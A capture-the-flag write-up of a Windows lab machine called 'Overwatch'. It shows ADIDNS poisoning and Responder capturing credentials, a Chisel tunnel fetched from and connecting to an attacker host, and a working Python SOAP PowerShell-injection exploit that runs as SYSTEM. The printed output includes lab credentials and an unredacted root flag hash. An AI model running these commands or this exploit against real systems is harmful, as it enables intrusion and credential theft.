/usr/local/share/gems/gems/winrm-2.3.9/lib/winrm/psrp/fragment.rb:35: warning: redefining 'object_id' may cause serious problems
/usr/local/share/gems/gems/winrm-2.3.9/lib/winrm/psrp/message_fragmenter.rb:29: warning: redefining 'object_id' may cause serious problems
                                        
Evil-WinRM shell v3.9
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
*Evil-WinRM* PS C:\Users\sqlmgmt\Documents> cd C:\Users\sqlmgmt\Desktop

*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> 
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> touch user.txt
The term 'touch' is not recognized as the name of a cmdlet, function, script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At line:1 char:1
+ touch user.txt
+ ~~~~~
    + CategoryInfo          : ObjectNotFound: (touch:String) [], CommandNotFoundException
    + FullyQualifiedErrorId : CommandNotFoundException
*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> type user.txt
REDACTED 

Why we did that?

Basically after gaining the initial sqlsvc credentials from the .NET binary, we authenticated to the MSSQL server using mssqlclient.py. While enumerating the SQL server, we discovered a linked server named SQL07.

When we tried querying the linked server using:

EXEC ('SELECT @@version') AT SQL07;

the connection failed because the server attempted to resolve the hostname SQL07 over the network.

At this point, we abused Active Directory DNS using dnstool.py and modified the DNS record for SQL07 so that it pointed to our attacker machine (10.10.15.1).

python3 dnstool.py -u 'overwatch\sqlsvc' -p 'TI0LKcfHzZw1Vv' --action add --record SQL07 --data 10.10.15.1 --type A 10.129.52.87

This meant whenever the SQL server tried connecting to SQL07, it would actually connect to us instead.

To capture the incoming authentication attempt, we started Responder.

sudo responder -I tun0 -v

Responder acts as a fake service listener and captures authentication requests sent by Windows systems. When the SQL server attempted authenticating to our fake SQL07 server, Responder intercepted the MSSQL authentication and disclosed cleartext credentials for another user.

Username: sqlmgmt
Password: bIhBbzMMnB82yx

Privelege Escalation

we tried a lot of shit,

*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> whoami /all
net localgroup administrators
net user

USER INFORMATION
----------------

User Name         SID
================= =============================================
overwatch\sqlmgmt S-1-5-21-2797066498-1365161904-233915892-1105


GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
The command completed successfully.


User accounts for \\

-------------------------------------------------------------------------------
Aaron.Robinson           Abdul.Stevens            Adam.Russell
Administrator            Aimee.Smith              Albert.Barrett
Amanda.Jenkins           Angela.Jones             Ann.Hill
Benjamin.Davison         Benjamin.Harrison        Bernard.Hilton
Bernard.Wood             Bethan.Dale              Bethan.Rogers
Beverley.Thompson        Brett.Bailey             Brett.Haynes
Carl.Johnson             Carole.Murray            Carole.Yates
Catherine.Griffiths      Charlie.Moss             Chloe.Cox
Clare.Bartlett           Colin.Roberts            Damien.Edwards
Danielle.Moore           Dean.Hobbs               Deborah.Martin
Deborah.Morgan           Debra.Arnold             Declan.Stone
Douglas.Burrows          Duncan.Freeman           Eileen.Phillips
Elaine.Page              Elaine.Walker            Ellie.Singh
Elliot.Green             Emily.Cooper             Francis.Weston
Frank.McCarthy           Frederick.Hussain        Frederick.Murray
Gail.Sullivan            Gareth.Ahmed             Gary.Elliott
George.Todd              Georgina.Chambers        Geraldine.Harper
Glenn.Field              Grace.Curtis             Grace.Taylor
Graham.Parker            Graham.Perry             Guest
Irene.Johnson            Jacob.Wilson             Jacqueline.Norton
Jamie.Gough              Jenna.Phillips           Jeremy.Marshall
Jodie.Jones              Joe.Pearce               John.Begum
Karl.Smith               Kathryn.Bryan            Kayleigh.Jones
Kenneth.Dennis           Kevin.Newton             Kim.Hargreaves
krbtgt                   Louise.Walton            Mandy.Wood
Marie.Allan              Marilyn.Griffiths        Martin.Kemp
Maureen.Kirby            Michelle.Willis          Mohammad.Hill
Natalie.Higgins          Olivia.Quinn             Patrick.Holmes
Paul.Collins             Peter.Slater             Philip.Harris
Rachael.Thomas           Roger.Hughes             Roger.Spencer
Samantha.Scott           Shaun.Jackson            sqlmgmt
sqlsvc                   Suzanne.Hughes           Terence.Matthews
Thomas.Lee               Timothy.Jackson          Timothy.Smith
Tracey.Barker            Tracey.Kelly             Tracy.Burns
Trevor.Baker             Victor.Hopkins           Wendy.Williams
The command completed with one or more errors.

While reviewing the downloaded configuration file, we discovered that the application was exposing a WCF SOAP service over HTTP.

We inspected the configuration using:

 alhamrizvi@alhams-fedora:~/overwatch$ cat overwatch.exe.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
  <system.serviceModel>
    <services>
      <service name="MonitoringService">
        <host>
          <baseAddresses>
            <add baseAddress="http://overwatch.htb:8000/MonitorService" />
          </baseAddresses>
        </host>
        <endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
        <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
      </service>
    </services>
    <behaviors>
      <serviceBehaviors>
        <behavior>
          <serviceMetadata httpGetEnabled="True" />
          <serviceDebug includeExceptionDetailInFaults="True" />
        </behavior>
      </serviceBehaviors>
    </behaviors>
  </system.serviceModel>
  <entityFramework>
    <providers>
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
      <provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
    </providers>
  </entityFramework>
  <system.data>
    <DbProviderFactories>
      <remove invariant="System.Data.SQLite.EF6" />
      <add name="SQLite Data Provider (Entity Framework 6)" invariant="System.Data.SQLite.EF6" description=".NET Framework Data Provider for SQLite (Entity Framework 6)" type="System.Data.SQLite.EF6.SQLiteProviderFactory, System.Data.SQLite.EF6" />
    <remove invariant="System.Data.SQLite" /><add name="SQLite Data Provider" invariant="System.Data.SQLite" description=".NET Framework Data Provider for SQLite" type="System.Data.SQLite.SQLiteFactory, System.Data.SQLite" /></DbProviderFactories>
  </system.data>
</configuration>

Inside the configuration, the following service definition was present.

<baseAddresses>
    <add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>

This revealed that the application hosted a web service at:

http://overwatch.htb:8000/MonitorService

The configuration also exposed metadata exchange functionality through the mex endpoint.

<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />

Additionally, the service had debugging enabled.

<serviceDebug includeExceptionDetailInFaults="True" />

This setting causes detailed exception messages to be returned by the application, which can often leak sensitive information during exploitation.

The configuration directly matched the functionality we previously observed while reversing the .NET binary, where the application exposed methods such as:

StartMonitoring()
StopMonitoring()
KillProcess()

After identifying the service endpoint inside the configuration, we manually queried the WSDL definition from the target using PowerShell.

*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri "http://overwatch.htb:8000/MonitorService?wsdl" -UseBasicParsing


StatusCode        : 200
StatusDescription : OK
Content           : <?xml version="1.0" encoding="utf-8"?><wsdl:definitions name="MonitoringService" targetNamespace="http://tempuri.org/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns:wsx="http://schemas.xmlsoap.o...
RawContent        : HTTP/1.1 200 OK
                    Content-Length: 4478
                    Content-Type: text/xml; charset=UTF-8
                    Date: Thu, 07 May 2026 19:38:06 GMT
                    Server: Microsoft-HTTPAPI/2.0

                    <?xml version="1.0" encoding="utf-8"?><wsdl:definiti...
Forms             :
Headers           : {[Content-Length, 4478], [Content-Type, text/xml; charset=UTF-8], [Date, Thu, 07 May 2026 19:38:06 GMT], [Server, Microsoft-HTTPAPI/2.0]}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        :
RawContentLength  : 4478

The server returned a valid WSDL response, confirming that the SOAP monitoring service was active and accessible internally.

Since the monitoring service was only accessible internally on port 8000, we created a reverse tunnel using Chisel in order to access the service locally from our attacker machine.

First, we downloaded the Windows Chisel binary and hosted it using Python's HTTP server.

wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz
alhamrizvi@alhams-fedora:~/overwatch$ # Download windows chisel binary
wget https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz
gunzip chisel_1.10.0_windows_amd64.gz
mv chisel_1.10.0_windows_amd64 chisel.exe
python3 -m http.server 8080
HTTP response 302  [https://github.com/jpillora/chisel/releases/download/v1.10.0/chisel_1.10.0_windows_amd64.gz]
Enqueue https://release-assets.githubusercontent.com/github-production-release-asset/31311037/40ffebab-8551-4226-9bfe-4f1310cacce9?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-05-07T20%3A42%3A13Z&Saving 'chisel_1.10.0_windows_amd64.gz'
HTTP response 200  [https://release-assets.githubusercontent.com/github-production-release-asset/31311037/40ffebab-8551-4226-9bfe-4f1310cacce9?sp=r&sv=2018-11-09&sr=b&spr=https&se=2026-05-07T20chisel_1.10.0_window 100% [==============================================================================================================================================>]    3.67M  768.05KB/skt=2026-05-07T19%3A41%3A35Z[Files: 1  Bytes: 3.67M [605.72KB/s] Redirects: 1  Todo: 0  Errors: 0                                                                           ]Jpc3MiOiJnaXRodWIuY29tServing HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...Iiwia2V5Ijoia2V5MSIsImV4cCI6MTc3ODE4MzM2MiwibmJmIjoxNzc4MTgzMDYyLCJwYXRoIjoicmVsZWFzZWFzc2V0cHJvZHVjdGlvbi5ibG9iLmNvcmUud2luZG93cy5uZ10.129.52.87 - - [08/May/2026 01:14:57] "GET /chisel.exe HTTP/1.1" 200 -sition=attachment%3B%20filename%3Dchisel_1.10.0_windows_amd64.gz&response-content-type=application%2Foctet-stream]

Here:

  • wget downloads the Windows Chisel binary
  • gunzip extracts the compressed file
  • mv renames the binary to chisel.exe
  • python3 -m http.server 8080 hosts the current directory over HTTP on port 8080

Next, we started a Chisel reverse tunneling server on our attacker machine.

./chisel server -p 9001 --reverse

Here:

  • server starts Chisel in server mode
  • -p 9001 listens on port 9001
  • --reverse enables reverse tunneling support

The server started successfully.

alhamrizvi@alhams-fedora:~/overwatch$ chmod +x chisel
alhamrizvi@alhams-fedora:~/overwatch$ cd ~/overwatch
./chisel server -p 9001 --reverse
2026/05/08 01:13:54 server: Reverse tunnelling enabled
2026/05/08 01:13:54 server: Fingerprint 6mS6BCRQU5iaIpvo5inwXWoqaN2fgqLf+nR+cas7IG8=
2026/05/08 01:13:54 server: Listening on http://0.0.0.0:9001
2026/05/08 01:16:04 server: session#1: tun: proxy#R:8000=>8000: Listening

From the compromised Windows host, we downloaded the Chisel binary using PowerShell.


*Evil-WinRM* PS C:\Users\sqlmgmt\Desktop> Invoke-WebRequest -Uri "http://10.10.15.1:8080/chisel.exe" -OutFile "C:\Users\sqlmgmt\Documents\chisel.exe"

C:\Users\sqlmgmt\Documents\chisel.exe client 10.10.15.1:9001 R:8000:127.0.0.1:8000
chisel.exe : 2026/05/07 12:45:51 client: Connecting to ws://10.10.15.1:9001
    + CategoryInfo          : NotSpecified: (2026/05/07 12:4...10.10.15.1:9001:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
2026/05/07 12:45:54 client: Connected (Latency 609.9068ms)/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...
/usr/local/share/gems/gems/rexml-3.4.4/lib/rexml/xpath.rb:67: warning: REXML::XPath.each, REXML::XPath.first, REXML::XPath.match dropped support for nodeset...

Here:

  • -Uri specifies the remote file location
  • -OutFile saves the binary locally on the target machine

After downloading the binary, we started the Chisel client on the Windows host.

C:\Users\sqlmgmt\Documents\chisel.exe client 10.10.15.1:9001 R:8000:127.0.0.1:8000

Here:

  • client starts Chisel in client mode
  • 10.10.15.1:9001 is the attacker server
  • R:8000:127.0.0.1:8000 creates a reverse tunnel from our machine's port 8000 to the target's local port 8000

The client connected successfully.

client: Connected

On the attacker machine, the Chisel server showed that the reverse tunnel was active.

proxy#R:8000=>8000: Listening
None

Exploitation script for Root Flag

After forwarding the internal service locally using Chisel, we created a custom exploit to interact directly with the SOAP API exposed by the monitoring application.

The exploit targeted the KillProcess() function that we previously identified while reversing the .NET binary.

import requests
import sys
TARGET = "http://127.0.0.1:8000/MonitorService"
def soap_request(process_name):
    body = f"""<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
               xmlns:tns="http://tempuri.org/">
  <soap:Body>
    <tns:KillProcess>
      <tns:processName>{process_name}</tns:processName>
    </tns:KillProcess>
  </soap:Body>
</soap:Envelope>"""
    headers = {
        "Content-Type": "text/xml; charset=utf-8",
        "SOAPAction": "http://tempuri.org/IMonitoringService/KillProcess"
    }
    r = requests.post(TARGET, data=body, headers=headers, timeout=10)
    print(f"[*] Response:\n{r.text}\n")
cmd = sys.argv[1] if len(sys.argv) > 1 else "whoami"
soap_request(f"x -ErrorAction Ignore; {cmd}; #")

The script sends a crafted SOAP request directly to the vulnerable KillProcess() endpoint.

The target URL was:

TARGET = "http://127.0.0.1:8000/MonitorService"

Because of the Chisel reverse tunnel, local port 8000 on our attacker machine was forwarded to the internal service running on the Windows target.

Inside the exploit, the SOAP XML body manually invokes the vulnerable KillProcess method.

<tns:KillProcess>
  <tns:processName>{process_name}</tns:processName>
</tns:KillProcess>

The request is then sent using Python's requests.post() function.

r = requests.post(TARGET, data=body, headers=headers, timeout=10)

The most important part of the exploit was the payload injection.

soap_request(f"x -ErrorAction Ignore; {cmd}; #")

Earlier during reverse engineering, we identified that the service internally executed PowerShell commands similar to:

Stop-Process -Name <USER_INPUT> -Force

The application directly embedded user supplied input into a PowerShell command without sanitization, making it vulnerable to command injection.

The payload abused PowerShell command separators using semicolons.

x -ErrorAction Ignore; <COMMAND>; #

Breaking this down:

  • x acts as a fake process name
  • -ErrorAction Ignore suppresses errors if the process does not exist
  • ; terminates the original command
  • <COMMAND> executes arbitrary attacker controlled PowerShell commands
  • # comments out the remaining -Force argument appended by the application

As a result, the final PowerShell command executed by the server became:

Stop-Process -Name x -ErrorAction Ignore; whoami; # -Force

This successfully transformed the intended process termination functionality into arbitrary command execution on the target system.

Root.txt

alhamrizvi@alhams-fedora:~/overwatch$ python3 exploit.py
[*] Response:
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><KillProcessResponse xmlns="http://tempuri.org/"><KillProcessResult>nt authority\system&#xD;
&#xD;
</KillProcessResult></KillProcessResponse></s:Body></s:Envelope>

alhamrizvi@alhams-fedora:~/overwatch$ python3 exploit.py "type C:\\Users\\Administrator\\Desktop\\root.txt"
[*] Response:
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><KillProcessResponse xmlns="http://tempuri.org/"><KillProcessResult>fa3a9c43c1663c72ce8e35af36cb614a&#xD;
&#xD;
</KillProcessResult></KillProcessResponse></s:Body></s:Envelope>

After creating the SOAP exploit, we first executed it without arguments in order to verify command execution.

python3 exploit.py

The application returned the following response.

<KillProcessResult>nt authority\system</KillProcessResult>

This confirmed that our injected PowerShell command was executed successfully by the service as:

NT AUTHORITY\SYSTEM

This was extremely important because it showed that the vulnerable monitoring service was running with SYSTEM privileges, meaning every injected command would execute with full administrative access on the machine.

Next, we modified the payload in order to read the Administrator flag directly from the filesystem.

python3 exploit.py "type C:\\Users\\Administrator\\Desktop\\root.txt"

Here:

  • type is the Windows equivalent of cat
  • C:\\Users\\Administrator\\Desktop\\root.txt points to the administrator flag file
  • Double backslashes were used because Python interprets \ as escape characters

The server responded with the contents of the file.

<KillProcessResult>REDACTED</KillProcessResult>

here's our flag!

this took 3.5 hours lol, definitely a challenging machine. here's a quick summary before we sleep and bye

Box complete! Full attack chain:

SMB enumeration → found software$ share → downloaded overwatch.exe

Decompiled .NET assembly → discovered SQL credentials: sqlsvc:TI0LKcfHzZw1Vv and MSSQL running on non-standard port 6520

Connected to MSSQL → discovered linked server SQL07 with self-mapping enabled

ADIDNS poisoning → redirected SQL07 to attacker machine → Responder captured cleartext credentials: sqlmgmt:bIhBbzMMnB82yx

evil-winrm shell as sqlmgmt → obtained user flag

Chisel reverse tunnel → forwarded internal WCF service running on port 8000

SOAP injection through KillProcess() → PowerShell command injection as nt authority\system → obtained root flag

Really fun machine honestly, chaining ADIDNS poisoning, MSSQL linked servers, WCF SOAP abuse, and PowerShell injection together was pretty satisfying.